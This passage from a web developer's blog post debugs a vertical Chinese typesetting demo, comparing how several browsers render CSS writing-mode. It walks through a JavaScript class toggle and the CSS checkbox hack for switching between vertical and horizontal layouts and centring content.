      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#chrome-64032780-dev&quot;&gt;Chrome (64.0.3278.0 dev)&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#firefox-590a1-nightly&quot;&gt;Firefox (59.0a1 Nightly)&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#safari-technology-preview-44&quot;&gt;Safari Technology Preview 44&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#edge-1617046&quot;&gt;Edge 16.17046&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#edge-1515254&quot;&gt;Edge 15.15254&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#ios-11-webkit&quot;&gt;iOS 11 WebKit&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#code-time&quot;&gt;Code time&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#some-background&quot;&gt;Some background&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#debugging-101-reset-to-baseline&quot;&gt;Debugging 101: Reset to baseline&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#the-implications-of-vertical-rl&quot;&gt;The implications of vertical-rl&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#layout-switching&quot;&gt;Layout switching&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#solution-1-javascript&quot;&gt;Solution #1: JavaScript&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#solution-2-checkbox-hack&quot;&gt;Solution #2: Checkbox hack&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#handling-image-alignment&quot;&gt;Handling image alignment&lt;/a&gt;
    &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#old-school-properties&quot;&gt;Old school properties&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#using-flexbox-for-centring&quot;&gt;Using flexbox for centring&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#how-about-grid&quot;&gt;How about Grid?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#winning-solution&quot;&gt;Winning solution?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#further-reading&quot;&gt;Further reading&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#issues-and-bugs-list&quot;&gt;Issues and bug list&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Initial findings&lt;/h2&gt;
&lt;p&gt;I&apos;m only looking at the browsers I have immediate access to. Because I have other things to do with my life &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;.&lt;/p&gt;
&lt;h3&gt;Chrome (64.0.3278.0 dev)&lt;/h3&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/chrome-480.jpg 480w, /images/posts/vertical-typesetting/chrome-640.jpg 640w, /images/posts/vertical-typesetting/chrome-960.jpg 960w, /images/posts/vertical-typesetting/chrome-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/chrome-640.jpg&quot; alt=&quot;vertical-rl on Chrome&quot; /&gt;
&lt;p&gt;Okay, this looks perfectly fine. I was sort of exaggerating when I said everything was broken. All the text and images are accounted for, no major rendering problems in vertical writing mode. Good job, Chrome.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/chrome2-480.jpg 480w, /images/posts/vertical-typesetting/chrome2-640.jpg 640w, /images/posts/vertical-typesetting/chrome2-960.jpg 960w, /images/posts/vertical-typesetting/chrome2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/chrome2-640.jpg&quot; alt=&quot;horizontal-tb on Chrome&quot; /&gt;
&lt;p&gt;Toggling the switcher kicks things over to the right though. I remember that trying to horizontally centre something in vertical writing-mode was really painful, so this must have been some hack I tried in the first pass that didn&apos;t go so well.&lt;/p&gt;
&lt;p&gt;It definitely worked at near the beginning of the 2017 because I made &lt;a href=&quot;https://www.chenhuijing.com/slides/webconf-asia-2017/videos/mode-switcher.mp4&quot;&gt;this screencast&lt;/a&gt; for my &lt;a href=&quot;http://Webconf.Asia&quot;&gt;Webconf.Asia&lt;/a&gt; slides. Pretty sure it was using Chrome at the time. It&apos;s amazing what a few months will do to a demo. My senior once mentioned a phrase called “code rot”, I wonder if this is it.&lt;/p&gt;
&lt;h3&gt;Firefox (59.0a1 Nightly)&lt;/h3&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/firefox-480.jpg 480w, /images/posts/vertical-typesetting/firefox-640.jpg 640w, /images/posts/vertical-typesetting/firefox-960.jpg 960w, /images/posts/vertical-typesetting/firefox-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/firefox-640.jpg&quot; alt=&quot;vertical-rl on Firefox&quot; /&gt;
&lt;p&gt;Oh boy, this is just. I have no words. I use Firefox Nightly as my default browser, so hence my initial reaction of ZOMG EVERYTHING IS BROKEN. Because everything IS broken here. Look at it, look at the infinite horizontal scrollbar, what&apos;s happening?!&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/firefox2-480.jpg 480w, /images/posts/vertical-typesetting/firefox2-640.jpg 640w, /images/posts/vertical-typesetting/firefox2-960.jpg 960w, /images/posts/vertical-typesetting/firefox2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/firefox2-640.jpg&quot; alt=&quot;horizontal-tb on Firefox&quot; /&gt;
&lt;p&gt;Let&apos;s toggle...wait, where is my checkbox?! Sigh. This might take a while. Anyway, at least I tied the checkbox to the label so we can still click the label to toggle. Well, it&apos;s definitely NOT centred, but not too broken either. 2 browsers and already a world of difference.&lt;/p&gt;
&lt;h3&gt;Safari Technology Preview 44&lt;/h3&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/stp-480.jpg 480w, /images/posts/vertical-typesetting/stp-640.jpg 640w, /images/posts/vertical-typesetting/stp-960.jpg 960w, /images/posts/vertical-typesetting/stp-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/stp-640.jpg&quot; alt=&quot;vertical-rl on Safari TP&quot; /&gt;
&lt;p&gt;Hey. Hey, hey hey. This looks surprisingly UN-broken. Even the height is correct. Safari, I may have misjudged you. What exactly is the Safari rendering engine again? Oh right, WebKit.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/stp2-480.jpg 480w, /images/posts/vertical-typesetting/stp2-640.jpg 640w, /images/posts/vertical-typesetting/stp2-960.jpg 960w, /images/posts/vertical-typesetting/stp2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/stp2-640.jpg&quot; alt=&quot;horizontal-tb on Safari TP&quot; /&gt;
&lt;p&gt;Oooo, this is kind of, sort of, in the centre of the page. Without looking at the code, I&apos;m sure I tried some weird translate thing to shift the entire content block, hence the inconsistent behaviour in every browser. But this has been a pleasant surprise.&lt;/p&gt;
&lt;h3&gt;Edge 16.17046&lt;/h3&gt;
&lt;p&gt;I&apos;m on Windows 10 insider fast ring release so I think my Edge is probably a higher version than most people have installed. No matter, I can check my phone too (yes I use a Windows phone, go ahead, judge me).&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/edge-480.jpg 480w, /images/posts/vertical-typesetting/edge-640.jpg 640w, /images/posts/vertical-typesetting/edge-960.jpg 960w, /images/posts/vertical-typesetting/edge-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/edge-640.jpg&quot; alt=&quot;vertical-rl on Edge 16&quot; /&gt;
&lt;p&gt;Anyway, this doesn&apos;t look too broken either. Just that the checkbox is a bit off. Big plus is that the scroll-wheel works! All the other browsers don&apos;t let me scroll horizontally with my scroll-wheel. I don&apos;t know if this is a Windows thing or an Edge thing though.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/edge2-480.jpg 480w, /images/posts/vertical-typesetting/edge2-640.jpg 640w, /images/posts/vertical-typesetting/edge2-960.jpg 960w, /images/posts/vertical-typesetting/edge2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/edge2-640.jpg&quot; alt=&quot;horizontal-tb on Edge 16&quot; /&gt;
&lt;p&gt;Vaguely semi-centred as well. I really have to check that transforms code soon. I might have an inkling as to what&apos;s going on with the checkbox as well now. Ah, but no vertical scroll with the scroll-wheel, this is getting interesting. Also, notice that the scrollbar is on the left instead &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;thinking face&quot;&gt;🤔&lt;/span&gt;.&lt;/p&gt;
&lt;h3&gt;Edge 15.15254&lt;/h3&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;vertical-rl on Edge 15&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/vertical-typesetting/edgem.jpg&quot; srcset=&quot;/images/posts/vertical-typesetting/edgem@2x.jpg 2x&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;horizontal-tb on Edge 15&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/vertical-typesetting/edgem2.jpg&quot; srcset=&quot;/images/posts/vertical-typesetting/edgem2@2x.jpg 2x&quot; /&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Pretty much the same as Edge 16. I&apos;m reasonably confident that Edge on Windows phone uses the exact same rendering engine, in this case EdgeHTML, as the desktop version, but somebody please correct me if I&apos;m wrong.&lt;/p&gt;
&lt;h3&gt;iOS 11 WebKit&lt;/h3&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;vertical-rl on iOS 11 WebKit&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/vertical-typesetting/ios.jpg&quot; srcset=&quot;/images/posts/vertical-typesetting/ios@2x.jpg 2x&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;horizontal-tb on iOS 11 WebKit&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/vertical-typesetting/ios2.jpg&quot; srcset=&quot;/images/posts/vertical-typesetting/ios2@2x.jpg 2x&quot; /&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Even though I have a plethora of browsers installed on my iPad, I know that the rendering engine powering all of them is still WebKit, because Apple has never allowed third-party browsing engines. And as already demonstrated on the desktop version, it&apos;s one of the better behaving ones.&lt;/p&gt;
&lt;h2&gt;Code time&lt;/h2&gt;
&lt;p&gt;Alright, now that we&apos;ve established the baseline of destruction, it&apos;s time to pull off the dust covers and look at whatever weird code I have under there. To be fair, there isn&apos;t much of it, given how bare-bones this demo is, so that&apos;s good.&lt;/p&gt;
&lt;p&gt;I also want to shout-out (for the umpteenth time) &lt;a href=&quot;https://www.browsersync.io/&quot;&gt;Browsersync&lt;/a&gt;, which is my top development tool, especially when it comes to building and debugging for multiple browsers on multiple devices. I wouldn&apos;t be doing a lot of this if I didn&apos;t have Browsersync.&lt;/p&gt;
&lt;h3&gt;Some background&lt;/h3&gt;
&lt;p&gt;The implementation of the switcher could have gone 2 ways, one with JavaScript to toggle classes, or with the checkbox hack. I often lean toward the CSS-only solution and so decided to go with the checkbox hack. This demo is simple enough such that there wasn&apos;t much interference in terms of keyboard controls, I mean, you could tab and toggle as per any other checkbox.&lt;/p&gt;
&lt;p&gt;I really need to study up on accessibility to determine if I&apos;m screwing things up for screen-readers, but that&apos;s for another day. Priority of today is dealing with the layout problem.&lt;/p&gt;
&lt;p&gt;The checkbox hack, if you haven&apos;t tried it before, involves making use of the &lt;code&gt;:checked&lt;/code&gt; pseudo-selector and sibling or child selectors. You can “hack” state with CSS using this method.&lt;/p&gt;
&lt;p&gt;The caveat is that the input (usually the checkbox element), which is what toggles the &lt;code&gt;:checked&lt;/code&gt; state, must be at the same level or higher than the targeted element whose state you wish to toggle.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;amp;lt;body&amp;amp;gt; &amp;amp;lt;input type=&amp;quot;checkbox&amp;quot; name=&amp;quot;mode&amp;quot; class=&amp;quot;c-switcher__checkbox&amp;quot; id=&amp;quot;switcher&amp;quot;
checked&amp;amp;gt; &amp;amp;lt;label for=&amp;quot;switcher&amp;quot; class=&amp;quot;c-switcher__label&amp;quot;&amp;amp;gt;竪排&amp;amp;lt;/label&amp;amp;gt; &amp;amp;lt;main&amp;amp;gt;
&amp;amp;lt;!-- All the markup for the content --&amp;amp;gt; &amp;amp;lt;/main&amp;amp;gt; &amp;amp;lt;script
src=&amp;quot;scripts.js&amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt; &amp;amp;lt;/body&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And herein lies the complications. Having a mixture of different nested writing-modes on the same page really screws up the browser. I&apos;m no browser engineer, but I have enough rudimentary knowledge to know that rendering things isn&apos;t trivial. But I&apos;m a stickler for punishment, so onwards with the pain!&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;General strategy with checkbox hack&lt;/figcaption&gt;
    &lt;img style=&quot;max-width: 25em;&quot; src=&quot;/images/posts/vertical-typesetting/diagram.svg&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;In the original demo, I set the default writing-mode to &lt;code&gt;vertical-rl&lt;/code&gt; on the &lt;code&gt;body&lt;/code&gt; element, then used the checkbox to toggle the writing-mode of the &lt;code&gt;main&lt;/code&gt; element. But it seems like everyone (browser rendering engines) handles nested writing-modes differently, as seen by the catalogue of screenshots above.&lt;/p&gt;
&lt;h3&gt;Debugging 101: Reset to baseline&lt;/h3&gt;
&lt;p&gt;Remember, this is a brain dump entry, sorry if you&apos;re bored. First thing I did was to remove all styles and start from scratch. Again, this works because the demo was barebones to begin with. Context is everything, folks.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;html {
  box-sizing: border-box;
  height: 100%;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

body {
  margin: 0;
  padding: 0;
  font-family: &amp;quot;Microsoft JhengHei&amp;quot;, &amp;quot;微軟正黑體&amp;quot;, &amp;quot;Heiti TC&amp;quot;, &amp;quot;黑體-繁&amp;quot;, sans-serif;
  text-align: justify;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This has almost become the de-facto starting point of all my projects. Set everything to &lt;code&gt;border-box&lt;/code&gt;, and usually I&apos;ll add in &lt;code&gt;margin: 0&lt;/code&gt; and &lt;code&gt;padding: 0&lt;/code&gt; to the universal selector block as my baseline reset. But for this demo, I&apos;ll let the browser keep its spacings and just reset the &lt;code&gt;body&lt;/code&gt; element.&lt;/p&gt;
&lt;p&gt;This demo is almost purely Chinese, so I put in only Chinese fonts in my font stack and left the system sans-serif as the fallback. For most cases though, it is a general consensus to put your Latin-based font of choice first. The reasoning being, Chinese fonts will have support for basic Latin characters, but not the other way around.&lt;/p&gt;
&lt;p&gt;When the browser encounters any Chinese characters, it won&apos;t find them in the Latin-based font family, so it will fallback to the next in line until it finds a font that does. If you list the Chinese font first, the browser will use the Latin-based characters found in the Chinese font, and sometimes these glyphs aren&apos;t that polished and don&apos;t look so good, especially on Windows.&lt;/p&gt;
&lt;p&gt;Next are some aesthetic styles that don&apos;t really affect layout much (does &lt;code&gt;line-height&lt;/code&gt; count? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;thinking face&quot;&gt;🤔&lt;/span&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;img {
  max-height: 100%;
  max-width: 100%;
}

p {
  line-height: 2;
}

figure {
  margin: 0;
}

figcaption {
  font-family: &amp;quot;MingLiU&amp;quot;, &amp;quot;微軟新細明體&amp;quot;, &amp;quot;Apple LiSung&amp;quot;, serif;
  line-height: 1.5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a reasonably decent baseline to start with. So now we can start investigating &lt;code&gt;writing-mode&lt;/code&gt; behaviour.&lt;/p&gt;
&lt;h3&gt;The implications of vertical-rl&lt;/h3&gt;
&lt;p&gt;The default value for &lt;code&gt;writing-mode&lt;/code&gt; is &lt;code&gt;horizontal-tb&lt;/code&gt; on every single element, and it is an inherited property. If you set a value for &lt;code&gt;writing-mode&lt;/code&gt; on an element, this value will cascade down to all its children and beyond.&lt;/p&gt;
&lt;p&gt;If we set the &lt;code&gt;writing-mode&lt;/code&gt; to &lt;code&gt;vertical-rl&lt;/code&gt; on the &lt;code&gt;main&lt;/code&gt; element, all the text and images are rendered correctly for every browser. Firefox has this slight vertical overflow of 15px and I suspect it&apos;s due to the scrollbar, but I can&apos;t be sure. Other browsers have no vertical overflow at all.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/main-480.jpg 480w, /images/posts/vertical-typesetting/main-640.jpg 640w, /images/posts/vertical-typesetting/main-960.jpg 960w, /images/posts/vertical-typesetting/main-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/main-640.jpg&quot; alt=&quot;vertical-rl on the main element&quot; /&gt;
&lt;p&gt;The issue with having the &lt;code&gt;main&lt;/code&gt; element in vertical writing mode, but the document itself being in horizontal writing mode means that the content starts on the left and we end up seeing the end of the article on first load instead.&lt;/p&gt;
&lt;p&gt;So let&apos;s move things up one level, and set &lt;code&gt;writing-mode: vertical-rl&lt;/code&gt; on the &lt;code&gt;body&lt;/code&gt; element instead. Chrome, Safari and Edge render the content from right-to-left, which is what we want. However, Firefox still shows the end of the article, although this did fix the scrollbar overflow issue. This looks most relevant to &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1102175&quot;&gt;Bug 1102175&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/body-480.jpg 480w, /images/posts/vertical-typesetting/body-640.jpg 640w, /images/posts/vertical-typesetting/body-960.jpg 960w, /images/posts/vertical-typesetting/body-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/body-640.jpg&quot; alt=&quot;vertical-rl on the body element&quot; /&gt;
&lt;p&gt;And lastly, if we apply &lt;code&gt;writing-mode: vertical-rl&lt;/code&gt; to the &lt;code&gt;html&lt;/code&gt; element, Firefox finally comes around and reads from right-to-left. Also, no funny overflowing, just vertical right-to-left goodness.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/html-480.jpg 480w, /images/posts/vertical-typesetting/html-640.jpg 640w, /images/posts/vertical-typesetting/html-960.jpg 960w, /images/posts/vertical-typesetting/html-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/html-640.jpg&quot; alt=&quot;vertical-rl on the html element&quot; /&gt;
&lt;p class=&quot;note&quot;&gt;IE11 supports writing mode but with the older syntax defined in an &lt;a href=&quot;https://www.w3.org/TR/2003/CR-css3-text-20030514/#Progression&quot;&gt;earlier version of the specification&lt;/a&gt; which uses &lt;code&gt;-ms-writing-mode: tb-rl&lt;/code&gt;. This works fine, but based on my current markup, which uses the &lt;code&gt;main&lt;/code&gt; element that is not supported by IE11, the switcher fails. Even applying &lt;code&gt;display: block&lt;/code&gt; on the &lt;code&gt;main&lt;/code&gt; element doesn&apos;t fix it. I could replace &lt;code&gt;main&lt;/code&gt; with &lt;code&gt;div&lt;/code&gt; for better support. Let me think about it.&lt;/p&gt;
&lt;h2&gt;Layout switching&lt;/h2&gt;
&lt;p&gt;There are known flexbox bugs in Firefox when it comes to vertical writing so I&apos;m going to split this debugging task into 2 parts, the first is just pure layout. Figuring out the different methods of getting the writing mode switcher to work without any funky overflowing.&lt;/p&gt;
&lt;p&gt;The second part will be related to centring the images in the figures, which is what got me into this mess. Aside from centring, I also wanted to have some sort of image orientation. Which was what led me to revisit this demo in the first place: my &lt;a href=&quot;https://github.com/ResponsiveImagesCG/ri-usecases/issues/63&quot;&gt;RICG use case write-up&lt;/a&gt;. #mildlysidetracked&lt;/p&gt;
&lt;h3&gt;Solution #1: JavaScript&lt;/h3&gt;
&lt;p&gt;Let&apos;s talk about the cop-out solution first. Since the problem arises from nesting mixed writing modes, maybe stop using them? Based on our observations from above, a JavaScript event listener to toggle CSS classes on the &lt;code&gt;html&lt;/code&gt; element could potentially solve a lot of the weird rendering issues. Okay, code time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;The 2 classes I want to toggle between are uncreatively named &lt;code&gt;vertical&lt;/code&gt; and &lt;code&gt;horizontal&lt;/code&gt;. Since I already have the checkbox, might as well make use of it to be the class toggler.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;document.addEventListener(
  &amp;quot;DOMContentLoaded&amp;quot;,
  function () {
    const switcher = document.getElementById(&amp;quot;switcher&amp;quot;);

    switcher.onchange = changeEventHandler;
  },
  false
);

function changeEventHandler(event) {
  const isChecked = document.getElementById(&amp;quot;switcher&amp;quot;).checked;
  const container = document.documentElement;

  if (isChecked) {
    container.className = &amp;quot;vertical&amp;quot;;
  } else {
    container.className = &amp;quot;horizontal&amp;quot;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Centring the content block went quite well. Because there wasn&apos;t any funny nesting of writing modes nor flexbox involved, a straight-forward auto margins centring worked perfectly in all the browsers, even Firefox.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.vertical {
  writing-mode: vertical-rl;

  main {
    max-height: 35em;
    margin-top: auto;
    margin-bottom: auto;
  }
}

.horizontal {
  writing-mode: horizontal-tb;

  main {
    max-width: 40em;
    margin-left: auto;
    margin-right: auto;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/centred2-480.jpg 480w, /images/posts/vertical-typesetting/centred2-640.jpg 640w, /images/posts/vertical-typesetting/centred2-960.jpg 960w, /images/posts/vertical-typesetting/centred2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/centred2-640.jpg&quot; alt=&quot;Auto margins for vertical centring&quot; /&gt;
&lt;p&gt;Fun fact, when in vertical writing mode, we can use &lt;code&gt;margin-top: auto&lt;/code&gt; and &lt;code&gt;margin-bottom: auto&lt;/code&gt; to vertically centre things! But trust me when I say centring things horizontally is more painful than you&apos;d expect. You&apos;ll see when we get to the next part with the checkbox hack.&lt;/p&gt;
&lt;p class=&quot;note&quot;&gt;&lt;strong&gt;Accidental TIL&lt;/strong&gt;: Microsoft Edge adheres to the ‘&lt;em&gt;Assignment to read-only properties is not allowed in strict mode&lt;/em&gt;‘ ECMAScript5 standard but Chrome and Firefox allows for a strict quirks mode, most likely for code compatibility. I initially tried to use `classList` for toggling class names, but it&apos;s a read-only property. `className` isn&apos;t read-only though. Related reading in the &lt;a href=&quot;#further-reading&quot;&gt;links below&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Solution 2: Checkbox hack&lt;/h3&gt;
&lt;p&gt;The mechanics behind this technique is similar to using JavaScript, except that instead of using a CSS class to change state, we make use of the &lt;code&gt;:checked&lt;/code&gt; pseudo element. Like we discussed earlier, the checkbox element has to be at the same level as the &lt;code&gt;main&lt;/code&gt; element for this to work.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.c-switcher__checkbox:checked ~ main {
  max-height: 35em;
  margin-top: auto;
  margin-bottom: auto;
}

.c-switcher__checkbox:not(:checked) ~ main {
  writing-mode: horizontal-tb;
  max-width: 40em;
  margin-left: auto; // this doesn&apos;t work
  margin-right: auto; // this doesn&apos;t work
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Layout code the same as &lt;code&gt;.vertical&lt;/code&gt; and &lt;code&gt;.horizontal&lt;/code&gt;, but alas, the results are not. Vertical centring is good, looks exactly the same as if we used JavaScript. But horizontal centring is skewed to the right. The auto margins don&apos;t seem to be doing anything in this dimension.&lt;/p&gt;
&lt;p&gt;But if you think about it, this is actually ”correct” behaviour because we can&apos;t centre things vertically in horizontal writing mode with this method either. Why is this? Let&apos;s check the specifications.&lt;/p&gt;
&lt;p&gt;All CSS properties have values, Once your browser has parsed a document and constructed the DOM tree, it needs to assign a value to every property on every element. &lt;a href=&quot;https://twitter.com/linclark&quot;&gt;Lin Clark&lt;/a&gt; wrote &lt;a href=&quot;https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/&quot;&gt;a brilliant code cartoon&lt;/a&gt; explaining how a CSS engine works, you have to read it! Anyway, values. From the specification:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The final value of a property is the result of a &lt;strong&gt;four-step calculation&lt;/strong&gt;: the value is determined through specification (the &amp;quot;&lt;strong&gt;specified value&lt;/strong&gt;&amp;quot;), then resolved into a value that is used for inheritance (the &amp;quot;&lt;strong&gt;computed value&lt;/strong&gt;&amp;quot;), then converted into an absolute value if necessary (the &amp;quot;&lt;strong&gt;used value&lt;/strong&gt;&amp;quot;), and finally transformed according to the limitations of the local environment (the &amp;quot;&lt;strong&gt;actual value&lt;/strong&gt;&amp;quot;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Also, from the specification, the &lt;a href=&quot;https://www.w3.org/TR/CSS2/visuren.html#relative-positioning&quot;&gt;calculation of heights and margins&lt;/a&gt; are determined by a number of rules for each of the different types of boxes. And if both top and bottom values are auto, their used values are resolved to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/zero-480.jpg 480w, /images/posts/vertical-typesetting/zero-640.jpg 640w, /images/posts/vertical-typesetting/zero-960.jpg 960w, /images/posts/vertical-typesetting/zero-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/zero-640.jpg&quot; alt=&quot;Margins resolving to zero&quot; /&gt;
&lt;p&gt;When we set the writing mode to vertical, the “height” seems to become the horizontal-axis when it comes to calculating these values. I say seems because I&apos;m honestly not 100% sure how it really works. And it dawned on me that the JavaScript solution is actually magic!&lt;/p&gt;
&lt;p&gt;Nah, I&apos;m kidding. It&apos;s really because we didn&apos;t mix writing-modes when using the JavaScript solution, so the respective dimensions that resolved to &lt;code&gt;0&lt;/code&gt; were not the ones that affected the centring we wanted to achieve. Maybe re-read that sentence a few times &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;To horizontally centre our &lt;code&gt;main&lt;/code&gt; element when vertical writing mode is toggled, we&apos;ll need to use the good ol&apos; transform trick.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.c-switcher__checkbox:not(:checked) ~ main {
  position: absolute;
  top: 0;
  right: 50%;
  transform: translateX(50%);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works for Chrome, Firefox and Safari. Unfortunately, it was kind of wonky on Edge, things are skewed to somewhere in the middle of the page and to the left. Time to file a bug with Edge. Also, the scrollbar appears on the left instead of the right.&lt;/p&gt;
